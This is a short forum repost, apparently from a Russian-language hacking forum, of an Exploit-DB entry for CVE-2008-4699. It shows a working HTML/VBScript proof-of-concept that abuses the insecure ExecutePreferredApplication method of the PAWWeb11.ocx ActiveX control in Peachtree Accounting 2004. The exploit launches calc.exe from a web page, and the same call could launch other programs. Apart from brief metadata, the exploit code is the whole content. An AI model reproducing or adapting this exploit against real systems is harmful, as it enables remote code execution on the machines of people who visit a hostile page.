Exploit Peachtree Accounting 2004 - 'PAWWeb11.ocx' ActiveX Insecure Method

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
6414
Проверка EDB
  1. Пройдено
Автор
JEREMY BROWN
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2008-4699
Дата публикации
2008-09-10
HTML:
<!-- Jeremy Brown ([email protected]/jbrownsec.blogspot.com)
     Peachtree Accounting Remote (SfS/SfI) Exploit
     Tested on Peachtree Accounting 2004 / Windows XP / IE6
     All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->

<html><body>

<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
<script language=vbscript>


arg1="C:/WINDOWS/system32/calc.exe"
target.ExecutePreferredApplication arg1

</script>
</body></html>

# milw0rm.com [2008-09-10]
 
Источник
www.exploit-db.com

Похожие темы